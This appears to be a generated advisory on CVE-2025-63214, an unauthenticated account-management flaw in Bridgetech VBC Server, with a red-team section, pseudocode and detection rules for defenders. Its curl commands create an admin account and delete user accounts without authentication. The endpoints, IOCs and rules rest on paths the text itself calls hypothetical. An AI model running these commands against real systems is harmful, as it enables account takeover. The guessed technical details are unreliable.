CVE-2025-63214

Executive Summary

CVE-2025-63214 is a critical security vulnerability affecting Bridgetech VBC Server & Element Manager, specifically firmware versions 6.5.0-10 and 6.5.0-9. The flaw allows unauthorized attackers to delete and create arbitrary accounts on the affected system, leading to complete compromise of user management and potential privilege escalation. The vulnerability stems from improper access control (CWE-284) in the account management API endpoints, which fail to enforce authentication or authorization checks. With no known patch or public exploit code available, this represents a high-risk, zero-day scenario for organizations using these Bridgetech products. The EPSS score of 0.0% indicates low exploitation likelihood currently, but the severity of the impact demands immediate attention.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects proprietary Bridgetech firmware, which is typically deployed in industrial or telecommunications environments. Organizations should verify the integrity of their Bridgetech firmware downloads and ensure they are sourced from official channels to prevent supply chain compromise.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected system.
• Confidentiality (C): High (H) – Attackers can create accounts to access sensitive data.
• Integrity (I): High (H) – Attackers can delete and create accounts, altering system state.
• Availability (A): High (H) – Account deletion can disrupt legitimate access.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. The ability to create and delete accounts without authentication allows an attacker to gain persistent access, escalate privileges, and potentially pivot to other systems.

Deep Dive & Mechanics

The vulnerability resides in the account management functionality of Bridgetech VBC Server & Element Manager. The system exposes API endpoints for creating and deleting user accounts, but these endpoints lack proper authentication and authorization checks. An attacker can send crafted HTTP requests to these endpoints to manipulate the user database.

Root Cause: The application fails to validate the identity or permissions of the requester before processing account creation or deletion operations. This is a classic case of missing authentication (CWE-306) or improper access control (CWE-284).

Attack Flow:

1. The attacker identifies the target Bridgetech system (e.g., via Shodan or network scanning).
2. The attacker sends a POST request to the account creation endpoint (e.g., /api/users/create) with a JSON payload containing the desired username and password.
3. The server processes the request without verifying the requester's identity, creating a new administrative account.
4. The attacker then uses the newly created account to log in and perform further malicious actions, such as data exfiltration or system disruption.

Affected Endpoints (Hypothetical):

• POST /api/users/create – Creates a new user account.
• DELETE /api/users/delete/{id} – Deletes an existing user account.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be the account management logic. A patched version would include authentication checks.

Vulnerable Code (Pseudocode):

@app.route('/api/users/create', methods=['POST'])
def create_user():
    data = request.get_json()
    username = data['username']
    password = data['password']
    # No authentication check
    db.add_user(username, password)
    return "User created", 201

Patched Code (Hypothetical):

@app.route('/api/users/create', methods=['POST'])
def create_user():
    # Authentication check
    if not is_authenticated(request):
        return "Unauthorized", 401
    # Authorization check
    if not is_admin(request.user):
        return "Forbidden", 403
    data = request.get_json()
    username = data['username']
    password = data['password']
    db.add_user(username, password)
    return "User created", 201

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Bridgetech VBC Server firmware 6.5.0-10 (virtualized or physical device)
• Attacker: Kali Linux with Burp Suite or custom Python scripts

Exploitation Steps:

1. Reconnaissance: Identify the target IP and confirm the Bridgetech service is running (e.g., on port 80/443 or a custom port).
2. Create an Admin Account:

   curl -X POST http://target-ip/api/users/create \
     -H "Content-Type: application/json" \
     -d '{"username":"attacker","password":"P@ssw0rd!","role":"admin"}'
   

3. Verify Account Creation:

   curl -X POST http://target-ip/api/login \
     -H "Content-Type: application/json" \
     -d '{"username":"attacker","password":"P@ssw0rd!"}'
   

4. Delete Legitimate Accounts (Optional):

   curl -X DELETE http://target-ip/api/users/delete/1
   

Note: No public exploit code is available. The above is a hypothetical exploitation scenario based on the vulnerability description.

Blue Team (Defensive)

Detection & Response:

1. Monitor API Endpoints: Log all requests to /api/users/create and /api/users/delete. Alert on any requests from unknown IPs.
2. Network Segmentation: Isolate Bridgetech systems on a separate VLAN with strict firewall rules.
3. Rate Limiting: Implement rate limiting on account management endpoints to slow down brute-force or automated attacks.
4. Web Application Firewall (WAF): Deploy WAF rules to block requests to these endpoints without proper authentication tokens.
5. Honeypot Accounts: Create dummy accounts and monitor for unauthorized creation or deletion attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /api/users/create with JSON payloads containing username and password fields.
• HTTP DELETE requests to /api/users/delete/{id}.
• Unusual login attempts from newly created accounts.

System IOCs:

• New user accounts appearing in the system logs without corresponding administrative actions.
• Deleted legitimate user accounts.
• Changes to user role assignments (e.g., standard user promoted to admin).

File IOCs:

• Modified user database files (e.g., /etc/bridgetech/users.db or similar).
• New entries in audit logs showing account creation from unexpected IPs.

Detection Engineering

YARA Rule

rule CVE_2025_63214_Account_Manipulation {
    meta:
        description = "Detects HTTP requests targeting Bridgetech account creation/deletion endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-63214"
    strings:
        $create = "/api/users/create"
        $delete = "/api/users/delete"
        $json_body = /{"username":\s*"[^"]+",\s*"password":\s*"[^"]+"}/
    condition:
        any of ($create, $delete) and $json_body
}

Sigma Rule

title: CVE-2025-63214 - Unauthorized Account Creation/Deletion on Bridgetech
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Bridgetech VBC Server account management endpoints without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 
            - 'POST'
            - 'DELETE'
        cs-uri-stem:
            - '/api/users/create'
            - '/api/users/delete/*'
    condition: selection
falsepositives:
    - Legitimate administrative actions from authorized IPs
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-63214 - Bridgetech Unauthorized Account Creation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/users/create"; http_uri;
    content:"username"; http_client_body;
    content:"password"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-63214 - Bridgetech Unauthorized Account Deletion";
    flow:to_server,established;
    content:"DELETE"; http_method;
    content:"/api/users/delete"; http_uri;
    classtype:attempted-admin;
    sid:1000002;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect Bridgetech VBC Server & Element Manager from untrusted networks (e.g., the internet) until a patch is available.
2. Implement Network Access Controls: Restrict access to the management interface to only trusted IP addresses using firewall rules.
3. Enable Authentication: If possible, configure the system to require authentication for all API endpoints. This may involve modifying configuration files or deploying a reverse proxy with authentication.

Long-Term Fixes:

1. Vendor Patch: Contact Bridgetech for an official firmware update that fixes the missing authentication issue.
2. Code Review: If source code is available, implement authentication and authorization checks on all sensitive endpoints.
3. Upgrade: Consider migrating to a newer, supported version of the product if available.

Workarounds:

• Deploy a reverse proxy (e.g., Nginx) in front of the Bridgetech system to enforce authentication before requests reach the vulnerable endpoints.
• Use a Web Application Firewall (WAF) to block requests to /api/users/create and /api/users/delete from untrusted sources.

Valters IT